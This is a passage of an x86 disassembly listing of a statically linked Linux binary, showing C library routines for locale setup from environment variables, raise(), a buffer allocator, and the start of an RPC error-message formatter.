		mov	[ebp+arg_4], eax
		add	esp, 4

loc_8062DA7:				; CODE XREF: sub_8062D4C+49j
		cmp	[ebp+arg_4], 0
		jz	short loc_8062DB9
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	loc_8062EB4

loc_8062DB9:				; CODE XREF: sub_8062D4C+5Fj
		xor	ebx, ebx
		nop

loc_8062DBC:				; CODE XREF: sub_8062D4C+15Dj
		mov	eax, ds:dword_806AA34[ebx*4]
		push	eax
		call	secure_getenv
		mov	[ebp+arg_4], eax
		add	esp, 4
		test	eax, eax
		jz	short loc_8062DD8
		cmp	byte ptr [eax],	0
		jnz	short loc_8062DE8

loc_8062DD8:				; CODE XREF: sub_8062D4C+85j
		push	offset aLang	; "LANG"
		call	secure_getenv
		mov	[ebp+arg_4], eax
		add	esp, 4

loc_8062DE8:				; CODE XREF: sub_8062D4C+8Aj
		cmp	[ebp+arg_4], 0
		jz	short loc_8062DF6
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_8062E00

loc_8062DF6:				; CODE XREF: sub_8062D4C+A0j
		mov	eax, dword_80790BC[ebx*4]
		mov	[ebp+arg_4], eax

loc_8062E00:				; CODE XREF: sub_8062D4C+A8j
		mov	eax, [ebp+arg_4]
		mov	[ebp+ebx*4+var_18], eax
		lea	edi, [ebx+1]
		mov	eax, ds:dword_806AA34[edi*4]
		push	eax
		call	secure_getenv
		mov	[ebp+arg_4], eax
		add	esp, 4
		test	eax, eax
		jz	short loc_8062E26
		cmp	byte ptr [eax],	0
		jnz	short loc_8062E36

loc_8062E26:				; CODE XREF: sub_8062D4C+D3j
		push	offset aLang	; "LANG"
		call	secure_getenv
		mov	[ebp+arg_4], eax
		add	esp, 4

loc_8062E36:				; CODE XREF: sub_8062D4C+D8j
		cmp	[ebp+arg_4], 0
		jz	short loc_8062E44
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_8062E4E

loc_8062E44:				; CODE XREF: sub_8062D4C+EEj
		mov	eax, dword_80790BC[edi*4]
		mov	[ebp+arg_4], eax

loc_8062E4E:				; CODE XREF: sub_8062D4C+F6j
		mov	eax, [ebp+arg_4]
		mov	[ebp+edi*4+var_18], eax
		lea	edi, [ebx+2]
		mov	eax, ds:dword_806AA34[edi*4]
		push	eax
		call	secure_getenv
		mov	[ebp+arg_4], eax
		add	esp, 4
		test	eax, eax
		jz	short loc_8062E74
		cmp	byte ptr [eax],	0
		jnz	short loc_8062E84

loc_8062E74:				; CODE XREF: sub_8062D4C+121j
		push	offset aLang	; "LANG"
		call	secure_getenv
		mov	[ebp+arg_4], eax
		add	esp, 4

loc_8062E84:				; CODE XREF: sub_8062D4C+126j
		cmp	[ebp+arg_4], 0
		jz	short loc_8062E92
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_8062E9C

loc_8062E92:				; CODE XREF: sub_8062D4C+13Cj
		mov	eax, dword_80790BC[edi*4]
		mov	[ebp+arg_4], eax

loc_8062E9C:				; CODE XREF: sub_8062D4C+144j
		mov	eax, [ebp+arg_4]
		mov	[ebp+edi*4+var_18], eax
		add	ebx, 3
		cmp	ebx, 5
		jle	loc_8062DBC
		jmp	loc_80633ED
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062EB4:				; CODE XREF: sub_8062D4C+67j
		xor	al, al
		mov	edi, [ebp+arg_4]
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edi, ecx
		not	edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_18], eax
		mov	ebx, 6
		push	3Bh
		push	eax
		call	strchr
		mov	[ebp+var_3C], eax
		add	esp, 8
		test	eax, eax
		jz	loc_80633ED
		lea	eax, [edi+3]
		and	al, 0FCh
		sub	esp, eax
		mov	[ebp+var_44], esp
		push	edi
		mov	eax, [ebp+arg_4]
		push	eax
		mov	edx, [ebp+var_44]
		push	edx
		call	memcpy
		add	esp, 0Ch

loc_8062F10:				; CODE XREF: sub_8062D4C+2C2j
					; sub_8062D4C+2EEj
		push	3Dh
		mov	esi, [ebp+var_44]
		push	esi
		call	strchr
		mov	[ebp+var_3C], eax
		add	esp, 8
		test	eax, eax
		jz	loc_8063040
		mov	[ebp+var_40], 0
		sub	eax, esi
		cmp	ds:dword_806AA8C, eax
		jnz	short loc_8062F50
		mov	esi, ds:dword_806AA34
		mov	edi, [ebp+var_44]
		mov	ecx, eax
		cld
		test	al, 0
		repe cmpsb
		jz	loc_8063000

loc_8062F50:				; CODE XREF: sub_8062D4C+1ECj
		mov	[ebp+var_40], 1
		cmp	ds:dword_806AA90, eax
		jnz	short loc_8062F75
		mov	esi, ds:dword_806AA38
		mov	edi, [ebp+var_44]
		mov	ecx, eax
		cld
		test	al, 0
		repe cmpsb
		jz	loc_8063000

loc_8062F75:				; CODE XREF: sub_8062D4C+211j
		mov	[ebp+var_40], 2
		cmp	ds:dword_806AA94, eax
		jnz	short loc_8062F96
		mov	esi, ds:dword_806AA3C
		mov	edi, [ebp+var_44]
		mov	ecx, eax
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_8063000

loc_8062F96:				; CODE XREF: sub_8062D4C+236j
		mov	[ebp+var_40], 3
		cmp	ds:dword_806AA98, eax
		jnz	short loc_8062FB7
		mov	esi, ds:dword_806AA40
		mov	edi, [ebp+var_44]
		mov	ecx, eax
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_8063000

loc_8062FB7:				; CODE XREF: sub_8062D4C+257j
		mov	[ebp+var_40], 4
		cmp	ds:dword_806AA9C, eax
		jnz	short loc_8062FD8
		mov	esi, ds:dword_806AA44
		mov	edi, [ebp+var_44]
		mov	ecx, eax
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_8063000

loc_8062FD8:				; CODE XREF: sub_8062D4C+278j
		mov	[ebp+var_40], 5
		cmp	ds:dword_806AAA0, eax
		jnz	short loc_8062FF9
		mov	esi, ds:dword_806AA48
		mov	edi, [ebp+var_44]
		mov	ecx, eax
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_8063000

loc_8062FF9:				; CODE XREF: sub_8062D4C+299j
		mov	[ebp+var_40], 6

loc_8063000:				; CODE XREF: sub_8062D4C+1FEj
					; sub_8062D4C+223j ...
		cmp	[ebp+var_40], 6
		jz	loc_806360C
		cmp	[ebp+var_40], 5
		jg	loc_8062F10
		push	3Bh
		inc	[ebp+var_3C]
		mov	edx, [ebp+var_3C]
		push	edx
		call	strchr
		mov	edx, [ebp+var_3C]
		mov	esi, [ebp+var_40]
		mov	[ebp+esi*4+var_18], edx
		add	esp, 8
		test	eax, eax
		jz	short loc_8063040
		mov	byte ptr [eax],	0
		inc	eax
		mov	[ebp+var_44], eax
		jmp	loc_8062F10
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8063040:				; CODE XREF: sub_8062D4C+1D7j
					; sub_8062D4C+2E5j
		mov	[ebp+var_40], 0
		mov	eax, [ebp+arg_4]
		lea	esi, [esi]

loc_806304C:				; CODE XREF: sub_8062D4C+314j
		mov	esi, [ebp+var_40]
		cmp	[ebp+esi*4+var_18], eax
		jz	loc_806360C
		inc	esi
		mov	[ebp+var_40], esi
		cmp	esi, 5
		jle	short loc_806304C
		jmp	loc_80633ED
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8063068:				; CODE XREF: sub_8062D4C+6A6j
		cmp	ds:dword_806AA04[ebx*4], 0
		jz	loc_80632BC
		lea	eax, [ebp+ebx*4+var_18]
		push	eax
		push	ebx
		call	sub_8066BFC
		mov	[ebp+ebx*4+var_30], eax
		add	esp, 8
		test	eax, eax
		jz	short loc_80630AC
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		mov	ecx, ebp
		call	sub_80628F8
		mov	[ebp+ebx*4+var_18], eax
		add	esp, 4
		test	eax, eax
		jnz	loc_80633ED
		dec	ebx
		jmp	short loc_80630F4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80630AC:				; CODE XREF: sub_8062D4C+33Ej
		mov	esi, [ebp+ebx*4+var_18]
		mov	edi, offset unk_806AABE
		mov	ecx, 2
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_80630D6
		mov	esi, [ebp+ebx*4+var_18]
		mov	edi, offset aPosix ; "POSIX"
		mov	ecx, 6
		cld
		test	al, 0
		repe cmpsb
		jnz	short loc_80630F4

loc_80630D6:				; CODE XREF: sub_8062D4C+373j
		cmp	[ebp+ebx*4+var_30], 0
		jnz	loc_80632FD
		mov	eax, ds:dword_806AA1C[ebx*4]
		mov	[ebp+ebx*4+var_30], eax
		jmp	loc_80632FD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80630F4:				; CODE XREF: sub_8062D4C+35Cj
					; sub_8062D4C+388j ...
		inc	ebx
		cmp	ebx, 5
		jg	loc_8063616
		mov	eax, 6
		sub	eax, ebx
		and	eax, 3
		cmp	ebx, 6
		jge	short loc_806318B
		test	eax, eax
		jz	loc_80631CC
		cmp	eax, 1
		jle	short loc_806318B
		cmp	eax, 2
		jle	short loc_8063155
		cmp	ds:dword_806AA04[ebx*4], 0
		jz	short loc_8063136
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		call	sub_8067040
		add	esp, 4

loc_8063136:				; CODE XREF: sub_8062D4C+3DBj
		cmp	[ebp+ebx*4+var_18], 0
		jz	short loc_8063154
		cmp	[ebp+ebx*4+var_18], offset unk_806AABC
		jz	short loc_8063154
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_8063154:				; CODE XREF: sub_8062D4C+3EFj
					; sub_8062D4C+3F9j
		inc	ebx

loc_8063155:				; CODE XREF: sub_8062D4C+3D1j
		cmp	ds:dword_806AA04[ebx*4], 0
		jz	short loc_806316C
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		call	sub_8067040
		add	esp, 4

loc_806316C:				; CODE XREF: sub_8062D4C+411j
		cmp	[ebp+ebx*4+var_18], 0
		jz	short loc_806318A
		cmp	[ebp+ebx*4+var_18], offset unk_806AABC
		jz	short loc_806318A
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_806318A:				; CODE XREF: sub_8062D4C+425j
					; sub_8062D4C+42Fj
		inc	ebx

loc_806318B:				; CODE XREF: sub_8062D4C+3BFj
					; sub_8062D4C+3CCj
		cmp	ds:dword_806AA04[ebx*4], 0
		jz	short loc_80631A2
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		call	sub_8067040
		add	esp, 4

loc_80631A2:				; CODE XREF: sub_8062D4C+447j
		cmp	[ebp+ebx*4+var_18], 0
		jz	short loc_80631C0
		cmp	[ebp+ebx*4+var_18], offset unk_806AABC
		jz	short loc_80631C0
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_80631C0:				; CODE XREF: sub_8062D4C+45Bj
					; sub_8062D4C+465j
		inc	ebx
		cmp	ebx, 5
		jg	loc_8063616
		lea	esi, [esi]

loc_80631CC:				; CODE XREF: sub_8062D4C+3C3j
					; sub_8062D4C+563j
		cmp	ds:dword_806AA04[ebx*4], 0
		jz	short loc_80631E3
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		call	sub_8067040
		add	esp, 4

loc_80631E3:				; CODE XREF: sub_8062D4C+488j
		cmp	[ebp+ebx*4+var_18], 0
		jz	short loc_8063201
		cmp	[ebp+ebx*4+var_18], offset unk_806AABC
		jz	short loc_8063201
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_8063201:				; CODE XREF: sub_8062D4C+49Cj
					; sub_8062D4C+4A6j
		lea	edi, [ebx+1]
		cmp	ds:dword_806AA04[edi*4], 0
		jz	short loc_806321B
		mov	eax, [ebp+edi*4+var_30]
		push	eax
		call	sub_8067040
		add	esp, 4

loc_806321B:				; CODE XREF: sub_8062D4C+4C0j
		cmp	[ebp+edi*4+var_18], 0
		jz	short loc_8063239
		cmp	[ebp+edi*4+var_18], offset unk_806AABC
		jz	short loc_8063239
		mov	eax, [ebp+edi*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_8063239:				; CODE XREF: sub_8062D4C+4D4j
					; sub_8062D4C+4DEj
		lea	edi, [ebx+2]
		cmp	ds:dword_806AA04[edi*4], 0
		jz	short loc_8063253
		mov	eax, [ebp+edi*4+var_30]
		push	eax
		call	sub_8067040
		add	esp, 4

loc_8063253:				; CODE XREF: sub_8062D4C+4F8j
		cmp	[ebp+edi*4+var_18], 0
		jz	short loc_8063271
		cmp	[ebp+edi*4+var_18], offset unk_806AABC
		jz	short loc_8063271
		mov	eax, [ebp+edi*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_8063271:				; CODE XREF: sub_8062D4C+50Cj
					; sub_8062D4C+516j
		lea	edi, [ebx+3]
		cmp	ds:dword_806AA04[edi*4], 0
		jz	short loc_806328B
		mov	eax, [ebp+edi*4+var_30]
		push	eax
		call	sub_8067040
		add	esp, 4

loc_806328B:				; CODE XREF: sub_8062D4C+530j
		cmp	[ebp+edi*4+var_18], 0
		jz	short loc_80632A9
		cmp	[ebp+edi*4+var_18], offset unk_806AABC
		jz	short loc_80632A9
		mov	eax, [ebp+edi*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_80632A9:				; CODE XREF: sub_8062D4C+544j
					; sub_8062D4C+54Ej
		add	ebx, 4
		cmp	ebx, 5
		jle	loc_80631CC
		jmp	loc_8063616
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80632BC:				; CODE XREF: sub_8062D4C+324j
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		mov	ecx, ebp
		call	sub_80628F8
		mov	[ebp+ebx*4+var_18], eax
		add	esp, 4
		test	eax, eax
		jnz	loc_80633ED
		xor	esi, esi
		mov	edi, offset unk_806AABE
		mov	ecx, 2
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_80632FD
		xor	esi, esi
		mov	edi, offset aPosix ; "POSIX"
		mov	ecx, 6
		cld
		test	al, 0
		repe cmpsb
		jnz	short loc_806330C

loc_80632FD:				; CODE XREF: sub_8062D4C+38Fj
					; sub_8062D4C+3A0j ...
		mov	[ebp+ebx*4+var_18], offset unk_806AABC
		jmp	loc_80633ED
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806330C:				; CODE XREF: sub_8062D4C+5AFj
		inc	ebx
		cmp	ebx, 5
		jg	loc_80633ED
		mov	eax, 6
		sub	eax, ebx
		and	eax, 3
		cmp	ebx, 6
		jge	short loc_8063363
		test	eax, eax
		jz	short loc_8063380
		cmp	eax, 1
		jle	short loc_8063363
		cmp	eax, 2
		jle	short loc_806334B
		cmp	[ebp+ebx*4+var_18], offset unk_806AABC
		jz	short loc_806334A
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_806334A:				; CODE XREF: sub_8062D4C+5EFj
		inc	ebx

loc_806334B:				; CODE XREF: sub_8062D4C+5E5j
		cmp	[ebp+ebx*4+var_18], offset unk_806AABC
		jz	short loc_8063362
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_8063362:				; CODE XREF: sub_8062D4C+607j
		inc	ebx

loc_8063363:				; CODE XREF: sub_8062D4C+5D7j
					; sub_8062D4C+5E0j
		cmp	[ebp+ebx*4+var_18], offset unk_806AABC
		jz	short loc_806337A
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_806337A:				; CODE XREF: sub_8062D4C+61Fj
		inc	ebx
		cmp	ebx, 5
		jg	short loc_80633ED

loc_8063380:				; CODE XREF: sub_8062D4C+5DBj
					; sub_8062D4C+69Fj
		cmp	[ebp+ebx*4+var_18], offset unk_806AABC
		jz	short loc_8063397
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_8063397:				; CODE XREF: sub_8062D4C+63Cj
		lea	eax, [ebx+1]
		cmp	[ebp+eax*4+var_18], offset unk_806AABC
		jz	short loc_80633B1
		mov	eax, [ebp+eax*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_80633B1:				; CODE XREF: sub_8062D4C+656j
		lea	eax, [ebx+2]
		cmp	[ebp+eax*4+var_18], offset unk_806AABC
		jz	short loc_80633CB
		mov	eax, [ebp+eax*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_80633CB:				; CODE XREF: sub_8062D4C+670j
		lea	eax, [ebx+3]
		cmp	[ebp+eax*4+var_18], offset unk_806AABC
		jz	short loc_80633E5
		mov	eax, [ebp+eax*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_80633E5:				; CODE XREF: sub_8062D4C+68Aj
		add	ebx, 4
		cmp	ebx, 5
		jle	short loc_8063380

loc_80633ED:				; CODE XREF: sub_8062D4C+163j
					; sub_8062D4C+1A3j ...
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	loc_8063068
		lea	eax, [ebp+var_18]
		push	eax
		push	6
		mov	ecx, ebp
		call	sub_8062940
		mov	[ebp+var_38], eax
		add	esp, 8
		test	eax, eax
		jnz	short loc_806341C
		mov	ebx, 0FFFFFFFFh
		jmp	loc_80630F4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806341C:				; CODE XREF: sub_8062D4C+6C1j
		xor	ebx, ebx
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		push	0
		mov	ecx, ebp
		call	sub_8062CF8
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		push	0
		mov	ecx, ebp
		call	sub_8062CC8
		add	esp, 10h
		mov	ebx, 1
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		push	1
		mov	ecx, ebp
		call	sub_8062CF8
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		push	1
		mov	ecx, ebp
		call	sub_8062CC8
		add	esp, 10h
		mov	ebx, 2
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		push	2
		mov	ecx, ebp
		call	sub_8062CF8
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		push	2
		mov	ecx, ebp
		call	sub_8062CC8
		add	esp, 10h
		mov	ebx, 3
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		push	3
		mov	ecx, ebp
		call	sub_8062CF8
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		push	3
		mov	ecx, ebp
		call	sub_8062CC8
		add	esp, 10h
		mov	ebx, 4
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		push	4
		mov	ecx, ebp
		call	sub_8062CF8
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		push	4
		mov	ecx, ebp
		call	sub_8062CC8
		add	esp, 10h
		mov	ebx, 5
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		push	5
		mov	ecx, ebp
		call	sub_8062CF8
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		push	5
		mov	ecx, ebp
		call	sub_8062CC8
		add	esp, 10h
		mov	edx, [ebp+var_38]
		push	edx
		mov	ecx, ebp
		call	sub_8062C9C
		mov	eax, [ebp+var_38]
		jmp	loc_8063642
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063504:				; CODE XREF: sub_8062D4C+3Dj
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_8063550
		mov	eax, ds:dword_806AA34[ebx*4]
		push	eax
		call	secure_getenv
		mov	[ebp+arg_4], eax
		add	esp, 4
		test	eax, eax
		jz	short loc_8063528
		cmp	byte ptr [eax],	0
		jnz	short loc_8063538

loc_8063528:				; CODE XREF: sub_8062D4C+7D5j
		push	offset aLang	; "LANG"
		call	secure_getenv
		mov	[ebp+arg_4], eax
		add	esp, 4

loc_8063538:				; CODE XREF: sub_8062D4C+7DAj
		cmp	[ebp+arg_4], 0
		jz	short loc_8063546
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_8063550

loc_8063546:				; CODE XREF: sub_8062D4C+7F0j
		mov	eax, dword_80790BC[ebx*4]
		mov	[ebp+arg_4], eax

loc_8063550:				; CODE XREF: sub_8062D4C+7BEj
					; sub_8062D4C+7F8j
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, ebp
		call	sub_80628F8
		mov	[ebp+var_34], eax
		add	esp, 4
		test	eax, eax
		jnz	short loc_8063594
		mov	esi, [ebp+arg_4]
		mov	edi, offset unk_806AABE
		mov	ecx, 2
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_806358D
		mov	esi, [ebp+arg_4]
		mov	edi, offset aPosix ; "POSIX"
		mov	ecx, 6
		cld
		test	al, 0
		repe cmpsb
		jnz	short loc_806360C

loc_806358D:				; CODE XREF: sub_8062D4C+82Bj
		mov	[ebp+var_34], offset unk_806AABC

loc_8063594:				; CODE XREF: sub_8062D4C+817j
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		mov	ecx, ebp
		call	sub_8062940
		mov	[ebp+var_38], eax
		add	esp, 8
		test	eax, eax
		jnz	short loc_80635C0
		cmp	[ebp+var_34], offset unk_806AABC
		jz	short loc_806360C
		mov	eax, [ebp+var_34]
		push	eax
		call	free
		jmp	short loc_806360C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80635C0:				; CODE XREF: sub_8062D4C+85Cj
		cmp	ds:dword_806AA04[ebx*4], 0
		jz	short loc_8063628
		lea	eax, [ebp+arg_4]
		push	eax
		push	ebx
		call	sub_8066BFC
		add	esp, 8
		test	eax, eax
		jnz	short loc_806361C
		mov	esi, [ebp+arg_4]
		mov	edi, offset unk_806AABE
		mov	ecx, 2
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_8063603
		mov	esi, [ebp+arg_4]
		mov	edi, offset aPosix ; "POSIX"
		mov	ecx, 6
		cld
		test	al, 0
		repe cmpsb
		jnz	short loc_806360C

loc_8063603:				; CODE XREF: sub_8062D4C+8A1j
		mov	eax, ds:dword_806AA1C[ebx*4]
		jmp	short loc_806361C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806360C:				; CODE XREF: sub_8062D4C+Fj
					; sub_8062D4C+2B8j ...
		mov	__errno, 16h

loc_8063616:				; CODE XREF: sub_8062D4C+3ACj
					; sub_8062D4C+478j ...
		xor	eax, eax
		jmp	short loc_8063642
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806361C:				; CODE XREF: sub_8062D4C+88Dj
					; sub_8062D4C+8BEj
		push	eax
		push	ebx
		mov	ecx, ebp
		call	sub_8062CF8
		add	esp, 8

loc_8063628:				; CODE XREF: sub_8062D4C+87Cj
		mov	eax, [ebp+var_34]
		push	eax
		push	ebx
		mov	ecx, ebp
		call	sub_8062CC8
		mov	esi, [ebp+var_38]
		push	esi
		mov	ecx, ebp
		call	sub_8062C9C
		mov	eax, [ebp+var_34]

loc_8063642:				; CODE XREF: sub_8062D4C+2Bj
					; sub_8062D4C+34j ...
		lea	esp, [ebp+var_50]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8062D4C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

raise		proc near		; CODE XREF: abort+26p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	getpid
		push	eax
		call	kill
		mov	esp, ebp
		pop	ebp
		retn
raise		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8063664	proc near		; CODE XREF: sub_8063688+Fp
					; sub_8063958+8p
		push	ebp
		mov	ebp, esp
		cmp	ds:dword_807E750, 0
		jnz	short loc_806367F
		push	100h
		call	malloc
		mov	ds:dword_807E750, eax

loc_806367F:				; CODE XREF: sub_8063664+Aj
		mov	eax, ds:dword_807E750
		mov	esp, ebp
		pop	ebp
		retn
sub_8063664	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8063688	proc near		; CODE XREF: sub_8063894+Bp

var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		call	sub_8063664
		mov	[ebp+var_10], eax
		mov	ebx, [ebp+var_10]
		test	ebx, ebx
		jnz	short loc_80636B0
		xor	eax, eax
		jmp	loc_8063888
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80636B0:				; CODE XREF: sub_8063688+1Cj
		mov	edx, [esi+4]
		lea	eax, [ebp+var_C]
		push	eax
		push	esi
		mov	eax, [edx+8]
		call	eax
		push	edi
		push	offset aS_2	; "%s: "
		push	ebx
		call	sprintf
		push	ebx
		call	sub_80662B0
		add	ebx, eax
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_80638B8
		push	eax
		push	ebx
		call	strcpy
		add	esp, 24h
		push	ebx
		call	sub_80662B0
		add	ebx, eax
		call	sub_805E954
		add	esp, 4
		cmp	[ebp+var_C], 11h
		ja	loc_806385C
		mov	eax, [ebp+var_C]
		jmp	ds:off_8063708[eax*4]
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_8063708	dd offset loc_806387A	; DATA XREF: sub_8063688+79r
		dd offset loc_806387A
		dd offset loc_806387A
		dd offset loc_8063750
		dd offset loc_8063750
		dd offset loc_806387A
		dd offset loc_806379C
		dd offset loc_80637C4
		dd offset loc_806387A
		dd offset loc_8063838
		dd offset loc_806387A
		dd offset loc_806387A
		dd offset loc_806387A
		dd offset loc_806387A
		dd offset loc_806387A
		dd offset loc_806387A
		dd offset loc_806387A
		dd offset loc_806387A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063750:				; DATA XREF: sub_8063688+8Co
					; sub_8063688+90o
		mov	eax, [ebp+var_8]
		mov	eax, ds:dword_806AE98[eax*4]
		push	eax
		mov	eax, [ebp+var_8]
		inc	eax
		push	eax
		push	1
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		push	eax
		push	offset aErrnoS	; "; errno = %s"
		push	1
		push	9
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		add	esp, 10h
		push	eax
		push	ebx
		call	sprintf
		push	ebx
		call	sub_80662B0
		add	ebx, eax
		add	esp, 20h
		jmp	loc_806387A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806379C:				; DATA XREF: sub_8063688+98o
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		push	offset aLowVersionLuHi ; "; low	version	= %lu, high version = %lu"...
		push	2
		push	9
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		add	esp, 10h
		push	eax
		jmp	loc_8063869
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80637C4:				; DATA XREF: sub_8063688+9Co
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_8063A74
		mov	esi, eax
		push	offset aWhy	; "; why = "
		push	3
		push	9
		mov	eax, dword_8078F9C
		push	eax
		call	catgets
		push	eax
		push	ebx
		call	sprintf
		push	ebx
		call	sub_80662B0
		add	ebx, eax
		add	esp, 20h
		test	esi, esi
		jz	short loc_8063804
		push	esi
		push	offset aS_3	; "%s"
		jmp	short loc_8063820
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063804:				; CODE XREF: sub_8063688+16Fj
		mov	eax, [ebp+var_8]
		push	eax
		push	offset aUnknownAuthent ; "(unknown authentication error	- %d)"
		push	4
